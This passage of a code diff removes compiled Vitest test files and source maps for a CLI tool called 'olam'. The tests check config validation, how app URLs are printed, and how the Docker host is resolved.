,iBAAiB,EAAE,GAAG,MAAM,MAAM,CAAC,4BAA4B,GAAG,IAAI,CAAC,GAAG,EAAY,CAAC,CAAC;QAChG,MAAM,EAAE,OAAO,EAAE,GAAG,MAAM,MAAM,CAAC,WAAW,CAAC,CAAC;QAC9C,MAAM,OAAO,GAAG,IAAI,OAAO,EAAE,CAAC;QAC9B,EAAE,CAAC,KAAK,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC,kBAAkB,CAAC,GAAG,EAAE,CAAC,SAAS,CAAC,CAAC;QAC7D,iBAAiB,CAAC,OAAO,CAAC,CAAC;QAE3B,MAAM,OAAO,CAAC,UAAU,CAAC,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,mBAAmB,EAAE,SAAS,EAAE,QAAQ,CAAC,CAAC,CAAC;QAE/F,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,KAAK,GAAG,QAAQ,CAAC,CAAC,CAAE,CAAC;QAC3B,MAAM,CAAC,KAAK,CAAC,OAAO,CAAC,mBAAmB,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACvD,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAEpC,MAAM,KAAK,EAAE,CAAC;IAChB,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
@@ -1,2 +0,0 @@
1
- export {};
2
- //# sourceMappingURL=config.test.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"config.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/config.test.ts"],"names":[],"mappings":""}
@@ -1,95 +0,0 @@
1
- import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
2
- import * as fs from 'node:fs';
3
- import * as os from 'node:os';
4
- import * as path from 'node:path';
5
- import { Command } from 'commander';
6
- import { registerConfig } from '../commands/config.js';
7
- const VALID_CONFIG = JSON.stringify({
8
- schemaVersion: 1,
9
- repos: [
10
- {
11
- name: 'atlas-core',
12
- path: '/home/ernest/code/atlas-core',
13
- addedAt: 1715000000000,
14
- updatedAt: 1715000000000,
15
- },
16
- ],
17
- runbooks: [],
18
- }, null, 2);
19
- const INVALID_CONFIG_BAD_VERSION = JSON.stringify({ schemaVersion: 2, repos: [], runbooks: [] }, null, 2);
20
- const CORRUPT_JSON = '{ this is not valid json !!';
21
- function buildProgram() {
22
- const program = new Command();
23
- program.name('olam').exitOverride();
24
- registerConfig(program);
25
- return program;
26
- }
27
- /**
28
- * Invoke `olam config validate <path>` via the in-process commander program.
29
- * Captures stderr writes and the exit code from process.exit calls.
30
- */
31
- function invokeValidate(configPath) {
32
- const stderrLines = [];
33
- const stderrSpy = vi.spyOn(process.stderr, 'write').mockImplementation((chunk) => {
34
- stderrLines.push(String(chunk));
35
- return true;
36
- });
37
- let exitCode = 0;
38
- const exitSpy = vi.spyOn(process, 'exit').mockImplementation((code) => {
39
- exitCode = typeof code === 'number' ? code : 0;
40
- throw new Error(`process.exit(${code})`);
41
- });
42
- try {
43
- buildProgram().parse(['node', 'olam', 'config', 'validate', configPath]);
44
- }
45
- catch {
46
- // process.exit throws our sentinel — that's expected
47
- }
48
- finally {
49
- stderrSpy.mockRestore();
50
- exitSpy.mockRestore();
51
- }
52
- return { exitCode, stderrOutput: stderrLines.join('') };
53
- }
54
- describe('olam config validate', () => {
55
- let tmpDir;
56
- let configPath;
57
- beforeEach(() => {
58
- tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'olam-config-test-'));
59
- configPath = path.join(tmpDir, 'config.json');
60
- });
61
- afterEach(() => {
62
- fs.rmSync(tmpDir, { recursive: true, force: true });
63
- });
64
- it('exits 0 on a valid config file', () => {
65
- fs.writeFileSync(configPath, VALID_CONFIG);
66
- const { exitCode } = invokeValidate(configPath);
67
- expect(exitCode).toBe(0);
68
- });
69
- it('exits 1 when file is missing', () => {
70
- const missingPath = path.join(tmpDir, 'nonexistent.json');
71
- const { exitCode, stderrOutput } = invokeValidate(missingPath);
72
- expect(exitCode).toBe(1);
73
- expect(stderrOutput).toContain('not found');
74
- });
75
- it('exits 1 with Line N: prefix on an invalid config', () => {
76
- fs.writeFileSync(configPath, INVALID_CONFIG_BAD_VERSION);
77
- const { exitCode, stderrOutput } = invokeValidate(configPath);
78
- expect(exitCode).toBe(1);
79
- expect(stderrOutput).toMatch(/Line \d+:/);
80
- });
81
- it('exits 1 on corrupt JSON', () => {
82
- fs.writeFileSync(configPath, CORRUPT_JSON);
83
- const { exitCode, stderrOutput } = invokeValidate(configPath);
84
- expect(exitCode).toBe(1);
85
- expect(stderrOutput).toContain('invalid JSON');
86
- });
87
- it('attributes line numbers via json-source-map for /schemaVersion', () => {
88
- fs.writeFileSync(configPath, INVALID_CONFIG_BAD_VERSION);
89
- const { exitCode, stderrOutput } = invokeValidate(configPath);
90
- expect(exitCode).toBe(1);
91
- // schemaVersion is on line 2 in the pretty-printed JSON above
92
- expect(stderrOutput).toMatch(/Line 2: \/schemaVersion:/);
93
- });
94
- });
95
- //# sourceMappingURL=config.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"config.test.js","sourceRoot":"","sources":["../../src/__tests__/config.test.ts"],"names":[],"mappings":"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"}
@@ -1,2 +0,0 @@
1
- export {};
2
- //# sourceMappingURL=create-app-urls.test.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"create-app-urls.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/create-app-urls.test.ts"],"names":[],"mappings":""}
@@ -1,102 +0,0 @@
1
- /**
2
- * Focused tests for the app URLs output block added to `olam create`.
3
- *
4
- * Rather than exercising the full create flow (which involves workspace
5
- * inference, docker provider, ora spinners, etc.), these tests verify the
6
- * two invariants that matter most for the E4 feature:
7
- *
8
- * 1. When the created world has appPortUrls, they appear in the output.
9
- * 2. When appPortUrls is absent or empty, the Apps block is not printed.
10
- *
11
- * The tests reach into the printInfo helper directly to avoid Commander
12
- * action plumbing, keeping the surface narrow and the assertions tight.
13
- */
14
- import { vi, describe, it, expect, beforeEach, afterEach } from 'vitest';
15
- // printInfo calls console.log under the hood; spy before importing.
16
- const logSpy = vi.spyOn(console, 'log').mockImplementation(() => { });
17
- const ANSI_RE = /\x1b\[[0-9;]*[A-Za-z]/g;
18
- function strip(s) {
19
- return s.replace(ANSI_RE, '');
20
- }
21
- const SAMPLE_URLS = [
22
- { repoName: 'atlas-core', internalPort: 3000, hostPort: 13000, url: 'http://localhost:13000' },
23
- { repoName: 'diner-app', internalPort: 4000, hostPort: 14000, url: 'http://localhost:14000' },
24
- ];
25
- // The display logic extracted from create.ts for focused testing.
26
- // Mirrors exactly what create.ts does in its output block:
27
- //
28
- // if (world.appPortUrls && world.appPortUrls.length > 0) {
29
- // world.appPortUrls.forEach((ap, i) => {
30
- // printInfo(i === 0 ? 'Apps' : '', `${ap.repoName} ${ap.url}`);
31
- // });
32
- // }
33
- //
34
- // We import printInfo and run that logic here to verify the format matches.
35
- const { printInfo } = await import('../output.js');
36
- function simulateCreateOutput(appPortUrls, dashboardUrl) {
37
- logSpy.mockClear();
38
- if (dashboardUrl) {
39
- printInfo('Dashboard', dashboardUrl);
40
- }
41
- if (appPortUrls && appPortUrls.length > 0) {
42
- appPortUrls.forEach((ap, i) => {
43
- printInfo(i === 0 ? 'Apps' : '', `${ap.repoName} ${ap.url}`);
44
- });
45
- }
46
- }
47
- describe('olam create — appPortUrls display logic', () => {
48
- afterEach(() => {
49
- logSpy.mockClear();
50
- });
51
- it('prints Apps block when appPortUrls is present', () => {
52
- simulateCreateOutput(SAMPLE_URLS, 'http://localhost:19080');
53
- const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
54
- expect(output).toContain('Dashboard');
55
- expect(output).toContain('http://localhost:19080');
56
- expect(output).toContain('Apps');
57
- expect(output).toContain('atlas-core');
58
- expect(output).toContain('http://localhost:13000');
59
- expect(output).toContain('diner-app');
60
- expect(output).toContain('http://localhost:14000');
61
- });
62
- it('first app URL line carries "Apps" label', () => {
63
- simulateCreateOutput(SAMPLE_URLS);
64
- const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
65
- const appsLine = lines.find((l) => l.includes('Apps'));
66
- expect(appsLine).toBeDefined();
67
- expect(appsLine).toContain('atlas-core');
68
- expect(appsLine).toContain('http://localhost:13000');
69
- });
70
- it('subsequent app URL lines use empty label (visual indentation)', () => {
71
- simulateCreateOutput(SAMPLE_URLS);
72
- const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
73
- const dinerLine = lines.find((l) => l.includes('diner-app'));
74
- expect(dinerLine).toBeDefined();
75
- // Empty label pads to 14 spaces — line should NOT contain the word "Apps"
76
- expect(dinerLine).not.toMatch(/Apps/);
77
- expect(dinerLine).toContain('http://localhost:14000');
78
- });
79
- it('does NOT print Apps block when appPortUrls is absent', () => {
80
- simulateCreateOutput(undefined, 'http://localhost:19080');
81
- const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
82
- expect(output).not.toContain('Apps');
83
- expect(output).toContain('Dashboard'); // dashboard still present
84
- });
85
- it('does NOT print Apps block when appPortUrls is empty array', () => {
86
- simulateCreateOutput([], 'http://localhost:19080');
87
- const output = logSpy.mock.calls.map((args) => strip(String(args[0]))).join('\n');
88
- expect(output).not.toContain('Apps');
89
- });
90
- it('handles single-repo world — one Apps line, no indented continuation', () => {
91
- const singleUrl = [
92
- { repoName: 'solo-app', internalPort: 3000, hostPort: 13000, url: 'http://localhost:13000' },
93
- ];
94
- simulateCreateOutput(singleUrl);
95
- const lines = logSpy.mock.calls.map((args) => strip(String(args[0])));
96
- const appsLines = lines.filter((l) => l.includes('Apps'));
97
- expect(appsLines).toHaveLength(1);
98
- expect(appsLines[0]).toContain('solo-app');
99
- expect(appsLines[0]).toContain('http://localhost:13000');
100
- });
101
- });
102
- //# sourceMappingURL=create-app-urls.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"create-app-urls.test.js","sourceRoot":"","sources":["../../src/__tests__/create-app-urls.test.ts"],"names":[],"mappings":"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"}
@@ -1,14 +0,0 @@
1
- /**
2
- * Tests for resolveDockerHostOptions.
3
- *
4
- * The function chooses Dockerode constructor options based on three
5
- * sources, in priority order:
6
- * 1. DOCKER_HOST env (let Dockerode parse)
7
- * 2. `docker context inspect` output
8
- * 3. `/var/run/docker.sock` POSIX default
9
- *
10
- * We inject a mock spawnSync so tests don't depend on a real `docker`
11
- * binary or the user's actual context.
12
- */
13
- export {};
14
- //# sourceMappingURL=docker-host.test.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"docker-host.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/docker-host.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG"}
@@ -1,109 +0,0 @@
1
- /**
2
- * Tests for resolveDockerHostOptions.
3
- *
4
- * The function chooses Dockerode constructor options based on three
5
- * sources, in priority order:
6
- * 1. DOCKER_HOST env (let Dockerode parse)
7
- * 2. `docker context inspect` output
8
- * 3. `/var/run/docker.sock` POSIX default
9
- *
10
- * We inject a mock spawnSync so tests don't depend on a real `docker`
11
- * binary or the user's actual context.
12
- */
13
- import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
14
- import { resolveDockerHostOptions } from '../docker-host.js';
15
- function makeSpawn(stdout, status = 0) {
16
- return ((_cmd, _args) => ({
17
- pid: 1,
18
- output: [],
19
- stdout,
20
- stderr: '',
21
- status,
22
- signal: null,
23
- }));
24
- }
25
- function makeFailingSpawn() {
26
- return ((_cmd) => {
27
- throw new Error('docker: command not found');
28
- });
29
- }
30
- describe('resolveDockerHostOptions', () => {
31
- const originalDockerHost = process.env.DOCKER_HOST;
32
- beforeEach(() => {
33
- delete process.env.DOCKER_HOST;
34
- });
35
- afterEach(() => {
36
- if (originalDockerHost === undefined) {
37
- delete process.env.DOCKER_HOST;
38
- }
39
- else {
40
- process.env.DOCKER_HOST = originalDockerHost;
41
- }
42
- });
43
- it('returns empty options when DOCKER_HOST is set (lets Dockerode parse natively)', () => {
44
- process.env.DOCKER_HOST = 'tcp://docker-socket-proxy:2375';
45
- const opts = resolveDockerHostOptions(makeSpawn(''));
46
- expect(opts).toEqual({});
47
- });
48
- it('parses unix:// from docker context inspect (Linux default)', () => {
49
- const opts = resolveDockerHostOptions(makeSpawn('unix:///var/run/docker.sock\n'));
50
- expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
51
- });
52
- it('parses unix:// from docker context for Docker Desktop on macOS', () => {
53
- const opts = resolveDockerHostOptions(makeSpawn('unix:///Users/operator/.docker/run/docker.sock\n'));
54
- expect(opts).toEqual({ socketPath: '/Users/operator/.docker/run/docker.sock' });
55
- });
56
- it('parses npipe:// for Windows named pipes', () => {
57
- const opts = resolveDockerHostOptions(makeSpawn('npipe:////./pipe/docker_engine\n'));
58
- expect(opts).toEqual({ socketPath: '//./pipe/docker_engine' });
59
- });
60
- it('parses tcp:// for remote daemon endpoints', () => {
61
- const opts = resolveDockerHostOptions(makeSpawn('tcp://docker.example.com:2376\n'));
62
- expect(opts).toEqual({
63
- host: 'docker.example.com',
64
- port: 2376,
65
- protocol: 'http',
66
- });
67
- });
68
- it('parses https:// with default port 2376', () => {
69
- const opts = resolveDockerHostOptions(makeSpawn('https://docker.example.com\n'));
70
- expect(opts).toEqual({
71
- host: 'docker.example.com',
72
- port: 2376,
73
- protocol: 'https',
74
- });
75
- });
76
- it('parses http:// with default port 2375', () => {
77
- const opts = resolveDockerHostOptions(makeSpawn('http://docker.example.com\n'));
78
- expect(opts).toEqual({
79
- host: 'docker.example.com',
80
- port: 2375,
81
- protocol: 'http',
82
- });
83
- });
84
- it('falls back to /var/run/docker.sock when docker CLI fails (non-zero exit)', () => {
85
- const opts = resolveDockerHostOptions(makeSpawn('', 1));
86
